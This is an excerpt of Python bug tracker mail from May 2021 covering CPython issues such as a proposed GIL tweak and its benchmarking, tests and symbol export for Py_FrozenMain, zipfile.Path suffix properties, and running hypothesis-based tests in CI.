<1620993441.11.0.616615900451.issue44113@roundup.psfhosted.org> STINNER Victor added the comment: commit 7565586724692e2ad164d770af9675f7a261fe3a Author: Dong-hee Na Date: Thu May 13 10:19:46 2021 +0900 bpo-44113: Update fromzenmain not to use Py_SetProgramName (GH-26085) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:03:46 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 12:03:46 +0000 Subject: [issue44130] GIL Improvement Message-ID: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> New submission from Shreyan Avigyan : Today while working on an attempt to improve the GIL (either by modifying it or removing it) I noticed that in destroy_gil function first we unlock the mutex and then we set the gil->locked to -1 using _Py_atomic_store_explicit. Therefore the cycle is, "Unlock -> Atomic_Set_Value" which closely evaluates to, "Unlock -> Lock -> Set_Value -> Unlock" I tweaked around a little and when I changed the cycle to, "Atomic_Set_Value -> Unlock" I noticed by running David Beazley's famous benchmarks that there's an increase in speed by 0.22 or something like that. I don't know if it's because of CPU instability or because of the tweak but it looks like an improvement. Should this patch be applied to cpython? ---------- components: C API messages: 393642 nosy: shreyanavigyan priority: normal severity: normal status: open title: GIL Improvement type: performance versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:12:49 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 12:12:49 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() Message-ID: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> New submission from STINNER Victor : I would like to change Py_FrozenMain() using the new PyConfig C API, but I would prefer to first write tests of its current behavior. Currently, Py_FrozenMain() has no test. Py_FrozenMain() is used by Tools/freeze/freeze.py. Old freeze.py issues: * bpo-42613: freeze.py doesn't support sys.platlibdir different than lib nor multiarch * bpo-40954: freeze.py aborts on macOS * bpo-32217: freeze.py fails to work. * bpo-27727: Update Tools/freeze to use .vcxproj files * bpo-27566: Tools/freeze/winmakemakefile.py clean target should use 'del' instead of 'rm' * bpo-26271: freeze.py makefile uses the wrong flags variables * bpo-25504: undefined name 'modules' in Tools/freeze/checkextensions_win32.py * bpo-24871: freeze.py doesn't work on x86_64 Linux out of the box * bpo-23405: Tools/freeze "make" gets missing file error with unix shared builds * bpo-21502: freeze.py not working properly with OS X framework builds * bpo-16047: Tools/freeze no longer works in Python 3 * bpo-11824: freeze.py broken due to ABI flags * bpo-7517: freeze.py not ported to python3 * bpo-6078: freeze.py doesn't work * bpo-1985: Bug/Patch: Problem with xml/__init__.py when using freeze.py * bpo-588452: $DEBUG_PYTHON -O freeze.py broken I never used freeze.py, but since we get bug reports, it seems like it's used by users :-) Note: freeze.py has no test neither. Py_FrozenMain() has been modified recently in bpo-44113: commit 7565586724692e2ad164d770af9675f7a261fe3a Author: Dong-hee Na Date: Thu May 13 10:19:46 2021 +0900 bpo-44113: Update fromzenmain not to use Py_SetProgramName (GH-26085) See also: [capi-sig] Py_FrozenMain and the stable ABI https://mail.python.org/archives/list/capi-sig at python.org/thread/5QLI3NUP3OSGLCCIBAQOTX4GEJQBWJ6F/ See also: [Python-Dev] What's the story on Py_FrozenMain? https://mail.python.org/pipermail/python-dev/2013-November/130280.html ---------- components: C API messages: 393643 nosy: corona10, petr.viktorin, vstinner priority: normal severity: normal status: open title: [C API] Add tests on Py_FrozenMain() versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:14:46 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 12:14:46 +0000 Subject: [issue44131] [C API] Add tests on Py_FrozenMain() In-Reply-To: <1620994369.62.0.354601347783.issue44131@roundup.psfhosted.org> Message-ID: <1620994486.78.0.705149175837.issue44131@roundup.psfhosted.org> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +24766 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26126 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:17:17 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 12:17:17 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620994637.08.0.822476460216.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: Instability is more likely. But I'll run the benchmark once more and see what is happening. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:20:23 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 12:20:23 +0000 Subject: [issue24871] freeze.py doesn't work on x86_64 Linux out of the box In-Reply-To: <1439608426.85.0.852954620494.issue24871@psf.upfronthosting.co.za> Message-ID: <1620994823.76.0.877564004269.issue24871@roundup.psfhosted.org> STINNER Victor added the comment: I consider that the issue is now fixed. If it's not the case, please reopen the issue (or open a new issue). ---------- resolution: -> fixed stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:21:21 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 12:21:21 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620994881.89.0.392631725913.issue44113@roundup.psfhosted.org> STINNER Victor added the comment: > Well, Py_FrozenMain() should be rewritten with PyConfig, I want to do that for a long time, but I don't know how to test it. It would be nice to have a very basic test for Py_FrozenMain(). I created bpo-44131: [C API] Add tests on Py_FrozenMain(). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:21:54 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 12:21:54 +0000 Subject: [issue44113] [C API] Deprecate legacy API for configure Python initialization In-Reply-To: <1620814854.22.0.288089446549.issue44113@roundup.psfhosted.org> Message-ID: <1620994914.21.0.438343062498.issue44113@roundup.psfhosted.org> STINNER Victor added the comment: Thanks for the help Dong-hee ;-) I close the issue, functions are now deprecated. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:21:16 2021 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 May 2021 12:21:16 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620994876.81.0.443682098525.issue44130@roundup.psfhosted.org> Christian Heimes added the comment: Does Python's unit test suite pass? ---------- nosy: +christian.heimes, pitrou, vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:22:49 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 12:22:49 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620994969.15.0.413256347034.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: Forgot to do that. I'll report back with the test suite result. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:31:37 2021 From: report at bugs.python.org (Jakub Nowak) Date: Fri, 14 May 2021 12:31:37 +0000 Subject: [issue44095] Add suffix property to zipfile.Path In-Reply-To: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> Message-ID: <1620995497.12.0.467992471286.issue44095@roundup.psfhosted.org> Jakub Nowak added the comment: Thank for your interest Miguel. I have no experience with CPython codebase so I'll be glad if you work on this. I think treating ZipFile's like a separate drive would be the best. If we agree on this then probably all of the properties and methods from pathlib could be implemented. But without this at least `suffix`, `suffixes`, `stem`, `with_name()`, `with_stem()`, and `with_suffix()` makes perfect sense. If some of the properties/methods won't be implemented on zipfile.Path then it would be useful to raise `NotImplementedError`. Currently, trying to use suffix property, raises the error `AttributeError: 'Path' object has no attribute 'suffix'`. This is confusing as the name of the class is the same as in `pathlib.Path` so it's not immediately obvious that it meant `zipfile.Path`. The use-case for mimicking those two interfaces closely is to use both interchangeably (thanks to duck-typing). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:33:49 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 14 May 2021 12:33:49 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620995629.79.0.731411735363.issue44130@roundup.psfhosted.org> Eric V. Smith added the comment: "there's an increase in speed by 0.22 or something like that" 0.22 what? Seconds? Percent? A factor of 0.22? What are you measuring, and how are you measuring it? ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:38:48 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 12:38:48 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620995928.99.0.471053407468.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: I took the measurement like this. If it ran in 1.987777 secs then the new patch would theoretically measure 1.967777 (original - 0.22). The patch isn't very useful but it can sometimes be faster than the present code especially in debug mode. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:42:12 2021 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 May 2021 12:42:12 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620996132.33.0.615062925698.issue44130@roundup.psfhosted.org> Christian Heimes added the comment: The information is not very helpful to understand what you are doing. Please provide your system specs (arch, platform, CPU spec, memory), the commands you used to compile Python and the commands you used to get the numbers ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:42:17 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 12:42:17 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620996137.06.0.424598601159.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: Test suite passed and also I'm attaching the benchmark I used to measure. (This is the benchmark used by David Beazley in one of his famous GIL blog posts and talks.) ---------- Added file: https://bugs.python.org/file50040/benchmark.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:42:17 2021 From: report at bugs.python.org (Eric V. Smith) Date: Fri, 14 May 2021 12:42:17 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620996137.56.0.775164753748.issue44130@roundup.psfhosted.org> Eric V. Smith added the comment: "If it ran in 1.987777 secs then the new patch would theoretically measure 1.967777 (original - 0.22)" That difference is 0.02 seconds, or about 1%, correct? I'm just trying to understand what we're measuring here. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:46:28 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 12:46:28 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620996388.09.0.15029688849.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: > "That difference is 0.02 seconds, or about 1%, correct?" I mistook 1.987777 as 1.88 in my calculation. Sorry for that. > The information is not very helpful to understand what you are doing. Please provide your system specs (arch, platform, CPU spec, memory), the commands you used to compile Python and the commands you used to get the numbers My System is x86_64 Windows with 4 cores and 8 gigs of memory. I also tried it with my WSL1. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:47:01 2021 From: report at bugs.python.org (Christian Heimes) Date: Fri, 14 May 2021 12:47:01 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620996421.0.0.0364712769064.issue44130@roundup.psfhosted.org> Christian Heimes added the comment: The benchmark code has multiple issues. For example it uses a bad clock sources, time.time(). Could you please rewrite the benchmark to use https://pypi.org/project/pyperf/ ? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:57:22 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 12:57:22 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620997042.77.0.240951518081.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: Sure ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 08:59:36 2021 From: report at bugs.python.org (Bonifacio) Date: Fri, 14 May 2021 12:59:36 +0000 Subject: [issue37891] Exceptions tutorial page does not mention raise from In-Reply-To: <1566285667.91.0.992762773609.issue37891@roundup.psfhosted.org> Message-ID: <1620997176.45.0.583106582154.issue37891@roundup.psfhosted.org> Bonifacio added the comment: Version 3.9 of the docs already cover the syntax Neils talks about in his original message. https://docs.python.org/3.9/tutorial/errors.html#exception-chaining Is there anything left to be done here? If so, I'm glad to help with them, but I would need directions. ---------- nosy: +Bonifacio2 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 09:26:59 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 13:26:59 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1620998819.36.0.0955812403095.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: I attached the pyperf benchmark also. ---------- Added file: https://bugs.python.org/file50041/benchmark.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 10:13:41 2021 From: report at bugs.python.org (Paul Ganssle) Date: Fri, 14 May 2021 14:13:41 +0000 Subject: [issue42109] Use hypothesis for testing the standard library, falling back to stubs In-Reply-To: <1603301913.79.0.22425692211.issue42109@roundup.psfhosted.org> Message-ID: <1621001621.79.0.972438441052.issue42109@roundup.psfhosted.org> Paul Ganssle added the comment: @Terry > The problem with random input tests in not that they are 'flakey', but that they are useless unless someone is going to pay attention to failures and try to find the cause. This touches on the difference between regression testing and bug-finding tests. CPython CI is the former, and marred at that by buggy randomly failing tests. > My conclusion: bug testing would likely be a good idea, but should be done separate from the CI test suite. Such testing should only be done for modules with an active maintainer who would welcome failure reports. Are you saying that random input tests are flaky but that that is not the big problem? In my experience using hypothesis, in practice it is not the case that you get tests that fail randomly. The majority of the time if your code doesn't violate one of the properties, the tests fail the first time you run the test suite (this is particularly true for strategies where hypothesis deliberately makes it more likely that you'll get a "nasty" input by biasing the random selection algorithm in that direction). In a smaller number of cases, I see failures that happen on the second, third or fourth run. That said, if it were a concern that every run of the tests is using different inputs (and thus you might see a bug that only appears once in every 20 runs), it is possible to run hypothesis in a configuration where you specify the seed, making it so that hypothesis always runs the same set of inputs for the same tests. We can disable that on a separate non-CI run for hypothesis "fuzzing" that would run the test suite for longer (or indefinitely) looking for long-tail violations of these properties. I feel that if we don't at least run some form of the hypothesis tests in CI, there will likely be bit rot and the tests will decay in usefulness. Consider the case where someone accidentally breaks an edge case that makes it so that `json.loads(json.dumps(o))` no longer works for some obscure value of `o`. With hypothesis tests running in CI, we are MUCH more likely to find this bug / regression during the initial PR that would break the edge case than if we run it separately and report it later. If we run the hypothesis tests in a build-bot, the process would be: 1. Contributor makes PR with passing CI. 2. Core dev review passes, PR is merged. 3. Buildbot run occurs and the buildbot watch is notified. 4. Buildbot maintainers track down the PR responsible and either file a new bug or comment on the old bug. 5. Someone makes a NEW PR adding a regression test and the fix for the old PR. 6. Core dev review passes, second PR is merged. If we run it in CI, the process would be: 1. Contributor makes PR, CI breaks. 2. If the contributor doesn't notice the broken CI, core dev points it out and it is fixed (or the PR is scrapped as unworkable). Note that in the non-CI process, we need TWO core dev reviews, we need TWO PRs (people are not always super motivated to fix bugs that don't affect them that they the caused when fixing a bug that does affect them), and we need time and effort from the buildbot maintainers (note the same applies even if the "buildbot" is actually a separate process run by Zac out of a github repo). Even if the bug only appears in one out of every 4 CI runs, it's highly likely that it will be found and fixed before it makes it into production, or at least much more quickly, considering that most PRs go through a few edit cycles, and a good fraction of them are backported to 2-3 branches, all with separate CI runs. It's a much quicker feedback loop. I think there's an argument to be made that incorporating more third-party libraries (in general) into our CI build might cause headaches, but I think that is not a problem specific to hypothesis, and I think its one where we can find a reasonable balance that allows us to use hypothesis in one form or another in the standard library. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 10:17:17 2021 From: report at bugs.python.org (Ken Jin) Date: Fri, 14 May 2021 14:17:17 +0000 Subject: [issue44098] Remove ParamSpec from __parameters__ of most typing generics In-Reply-To: <1620639695.98.0.0136931922016.issue44098@roundup.psfhosted.org> Message-ID: <1621001837.93.0.13822624819.issue44098@roundup.psfhosted.org> Ken Jin added the comment: All patches have landed. Thanks Guido! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 10:29:52 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 14:29:52 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1621002592.6.0.0910927442285.issue44130@roundup.psfhosted.org> STINNER Victor added the comment: > I attached the pyperf benchmark also. Can you please provide pyperf_benchmark.py results? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 10:49:35 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 14:49:35 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1621003775.38.0.89781441239.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: pyperf results - Mean +- std dev: 455 ms +- 13 ms Looks a little bit faster than current 3.11, 3.10 and 3.9 versions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 10:53:53 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 14:53:53 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1621004033.94.0.193131559364.issue44130@roundup.psfhosted.org> STINNER Victor added the comment: > Mean +- std dev: 455 ms +- 13 ms A single benchmark is useless without a reference. Please run the benchmark on unpatched python, then run it again on a patched Python, and compare results. You can store benchmark results using -o option. Example: # Unpatched python python pyperf_benchmark.py -o ref.json # Patched python python pyperf_benchmark.py -o new_gil.json # Compare python -m pyperf compare_to ref.json new_gil.json ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:00:49 2021 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 14 May 2021 15:00:49 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1621004449.81.0.330028927072.issue43760@roundup.psfhosted.org> Stefan Behnel added the comment: I just noticed that new C-API functions are probably useless for Cython since I think it will have to maintain the CFrame stack, so not to enable "use_tracing" for the (Python) caller but the current (Cython) function. This then means that we own The current CFrame as well as its "use_tracing" field and don't need any help from CPython in order to change the state. I'm not sure if this is any different for other users of the "use_tracing" field. ---------- type: -> performance _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:09:02 2021 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 14 May 2021 15:09:02 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1621004942.07.0.00783934255997.issue43760@roundup.psfhosted.org> Stefan Behnel added the comment: Should we allow empty CFrame entries (with a NULL Frame pointer) that only use their "use_tracing" flag? That would make it easy for code to append and remove such an entry in order to temporarily disable tracing. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:19:07 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 14 May 2021 15:19:07 +0000 Subject: [issue44108] [sqlite3] normalise SQL quoted literals in sqlite3 test suite In-Reply-To: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org> Message-ID: <1621005547.4.0.771104489713.issue44108@roundup.psfhosted.org> Change by Erlend E. Aasland : ---------- pull_requests: +24767 pull_request: https://github.com/python/cpython/pull/26128 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:35:07 2021 From: report at bugs.python.org (Erlend E. Aasland) Date: Fri, 14 May 2021 15:35:07 +0000 Subject: [issue42972] [C API] Heap types (PyType_FromSpec) must fully implement the GC protocol In-Reply-To: <1611093266.11.0.721387186389.issue42972@roundup.psfhosted.org> Message-ID: <1621006507.74.0.536474834506.issue42972@roundup.psfhosted.org> Erlend E. Aasland added the comment: Is there a deterministic way to test these changes? Will something a la this be sufficient: import gc import sys gc.collect() before = sys.gettotalrefcount() import somemod del sys.modules['somemod'] del somemod gc.collect() after = sys.gettotalrefcount() assert after == before ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:39:20 2021 From: report at bugs.python.org (Oscar) Date: Fri, 14 May 2021 15:39:20 +0000 Subject: [issue44132] Local import conflict with system import Message-ID: <1621006760.95.0.599911995552.issue44132@roundup.psfhosted.org> New submission from Oscar : Not sure if this is the right place to post this, but I stumble upon the following error. I have the following directory structure $ tree /F Folder PATH listing Volume serial number is C0000100 B8C8:3DC4 C:. ? requirements.txt ? run_repro.bat ? ????testdriver ? jira_utils.py ? main.py ? __init__.py ? ????xml xml_base.py __init__.py and I am getting the following error when I run (venv) > C:\depot\bitbucket\python_bug $ python testdriver\main.py Traceback (most recent call last): File "testdriver\main.py", line 1, in from testdriver.jira_utils import JiraUtils File "C:\depot\bitbucket\python_bug\testdriver\jira_utils.py", line 1, in from jira import JIRA, JIRAError File "C:\depot\bitbucket\python_bug\venv\lib\site-packages\jira\__init__.py", line 10, in from jira.client import JIRA # noqa: E402 File "C:\depot\bitbucket\python_bug\venv\lib\site-packages\jira\client.py", line 29, in from pkg_resources import parse_version File "C:\depot\bitbucket\python_bug\venv\lib\site-packages\pkg_resources\__init__.py", line 32, in import plistlib File "C:\Python37\Lib\plistlib.py", line 65, in from xml.parsers.expat import ParserCreate ModuleNotFoundError: No module named 'xml.parsers' but if I run (venv) otrejoso at OTREJOSO-TLALOC C:\depot\bitbucket\python_bug $ python -c "from testdriver.jira_utils import JiraUtils" (venv) otrejoso at OTREJOSO-TLALOC C:\depot\bitbucket\python_bug There is no error. I wonder if this is some kind of bug with importing packages or is it a way to fix this by importing differently? I have attached a zip file that should be able to repro the issue. It is pretty simple since it just imports packages. There is a run_repro.bat script to make things easier to repro Steps of bat script: set PYTHONPATH=. python testdriver\main.py python -c "from testdriver.jira_utils import JiraUtils" Note: the zip contains the minimal files that showed the issue on bigger scale project that we have. Thanks in advance. ---------- files: error.zip messages: 393669 nosy: otrejoso priority: normal severity: normal status: open title: Local import conflict with system import versions: Python 3.7 Added file: https://bugs.python.org/file50042/error.zip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:52:13 2021 From: report at bugs.python.org (Miguel Brito) Date: Fri, 14 May 2021 15:52:13 +0000 Subject: [issue44095] Add suffix property to zipfile.Path In-Reply-To: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> Message-ID: <1621007533.09.0.0829058605748.issue44095@roundup.psfhosted.org> Change by Miguel Brito : ---------- keywords: +patch pull_requests: +24768 stage: -> patch review pull_request: https://github.com/python/cpython/pull/26129 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:52:49 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 15:52:49 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1621007569.5.0.624233509666.issue44130@roundup.psfhosted.org> Shreyan Avigyan added the comment: I suspected right. This was just CPU instability. In fact the patch is 1x-2x slower as reported by pyperf. Therefore I'm closing this issue. Though I'm working on another "yet to be failed attempt" to remove or rewrite the GIL to improve performance. Of course, any help would be appreciated there. Repo - https://github.com/shreyanavigyan/pygilremove ---------- stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:53:17 2021 From: report at bugs.python.org (Shreyan Avigyan) Date: Fri, 14 May 2021 15:53:17 +0000 Subject: [issue44130] GIL Improvement In-Reply-To: <1620993826.44.0.148734063446.issue44130@roundup.psfhosted.org> Message-ID: <1621007597.12.0.975439612407.issue44130@roundup.psfhosted.org> Change by Shreyan Avigyan : ---------- resolution: -> wont fix _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:53:06 2021 From: report at bugs.python.org (Miguel Brito) Date: Fri, 14 May 2021 15:53:06 +0000 Subject: [issue44095] Add suffix property to zipfile.Path In-Reply-To: <1620624563.22.0.863899405622.issue44095@roundup.psfhosted.org> Message-ID: <1621007586.01.0.0884969510938.issue44095@roundup.psfhosted.org> Miguel Brito added the comment: I prototyped something by adding `suffix`, `suffixes`, and `stem`. To me these are the most obvious ones and would be useful right away. Regarding the others I'm not so sure. It seems that zipfile.Path is just a convenient class to provide basic navigational operations. It's not meant to be 100% consistent with pathlib.Path. In any case, it'd nice to discuss it. Here it is: https://github.com/python/cpython/pull/26129 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 11:55:21 2021 From: report at bugs.python.org (Ned Deily) Date: Fri, 14 May 2021 15:55:21 +0000 Subject: [issue44126] Cross Compile Cython Modules In-Reply-To: <1620929740.81.0.435591662331.issue44126@roundup.psfhosted.org> Message-ID: <1621007721.85.0.44989817374.issue44126@roundup.psfhosted.org> Ned Deily added the comment: Ah, that makes more sense. Alas, while there has been some support for various cross-compiling scenarios added to cPython itself, including targeting for Android, for the most part they are not well-documented if at all and are not regularly tested as part of our release process. Further, while Distutils has been a part of the cPython standard library for many years, it is now deprecated for building modules not in the standard library. The PyPA recommends using setuptools instead of Distutils, in general, and there are other build tools out there. How well each of them support cross-compiling would be a good thing to research and ask. https://packaging.python.org/key_projects/?highlight=setuptools#distutils ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 12:04:07 2021 From: report at bugs.python.org (Stefan Behnel) Date: Fri, 14 May 2021 16:04:07 +0000 Subject: [issue43760] The DISPATCH() macro is not as efficient as it could be (move PyThreadState.use_tracing) In-Reply-To: <1617788149.78.0.581729826447.issue43760@roundup.psfhosted.org> Message-ID: <1621008247.09.0.919047059713.issue43760@roundup.psfhosted.org> Change by Stefan Behnel : ---------- Removed message: https://bugs.python.org/msg393667 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 12:15:19 2021 From: report at bugs.python.org (Bhaskara Aditya Sriram) Date: Fri, 14 May 2021 16:15:19 +0000 Subject: [issue32133] documentation: numbers module nitpick In-Reply-To: <1511634703.59.0.213398074469.issue32133@psf.upfronthosting.co.za> Message-ID: <1621008919.15.0.839845081141.issue32133@roundup.psfhosted.org> Bhaskara Aditya Sriram added the comment: I would like work on this, but I'm very new to fixing bugs. Could someone please help me on how to proceed with this bug. Thank You in advance ---------- nosy: +adityasriram.b _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 12:41:16 2021 From: report at bugs.python.org (Tal Einat) Date: Fri, 14 May 2021 16:41:16 +0000 Subject: [issue44123] make function parameter sentinel value true singletons In-Reply-To: <1620911826.39.0.0347354211372.issue44123@roundup.psfhosted.org> Message-ID: <1621010476.53.0.235703195984.issue44123@roundup.psfhosted.org> Tal Einat added the comment: > I do not understand the problem with pickling sentinel values used as default values for function parameters. Could you please show an example? A category of relevant uses I can think of is when wrapping a function and storing the parameters it was called with for some later use. Some examples of this are logging, caching and RPC. Specifically for RPC, using pickle to serialize/deserialize the parameters and then call the function with them seems reasonable. RPyC[1] does this in some cases, though I haven't yet checked how it handles these kinds of sentinel objects specifically. I'll try to find a good concrete example. [1] https://rpyc.readthedocs.io/ ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 12:50:18 2021 From: report at bugs.python.org (Dong-hee Na) Date: Fri, 14 May 2021 16:50:18 +0000 Subject: [issue44108] [sqlite3] normalise SQL quoted literals in sqlite3 test suite In-Reply-To: <1620728198.03.0.232400651845.issue44108@roundup.psfhosted.org> Message-ID: <1621011018.24.0.721565812618.issue44108@roundup.psfhosted.org> Change by Dong-hee Na : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 14 12:58:44 2021 From: report at bugs.python.org (STINNER Victor) Date: Fri, 14 May 2021 16:58:44 +0000 Subject: [issue44133] "Py_FrozenMain" symbol is not exported Message-ID: <1621011524.07.0.0957325647121.issue44133@roundup.psfhosted.org> New submission from STINNER Victor : When Python is built without --enable-shared, the "Py_FrozenMain" is not exported. When Python is built with --enable-shared, the "Py_FrozenMain" is exported as expected. I can reproduce the issue with attached reproduce.tar.gz example: * build.sh exports "func1" symbol * build_ar.sh doesn't export the "func1" symbol The difference is that build.sh links directly two object files (.o) into a binary, whereas build_ar.sh creates a static library (.a) and then link the static library into a binary. Python is always built with a static library (libpythonVERSION.a) which causes the issue. A solution is to pass -Wl,--whole-archive option to the linker to export *all* symbols exported by all object files, and not only export symbols of the object files which are used. I'm not sure why, but "Py_FrozenMain" is the *only* impacted symbol of the whole C API. This issue was discovered by Petr Viktorin who works on the stable ABI: 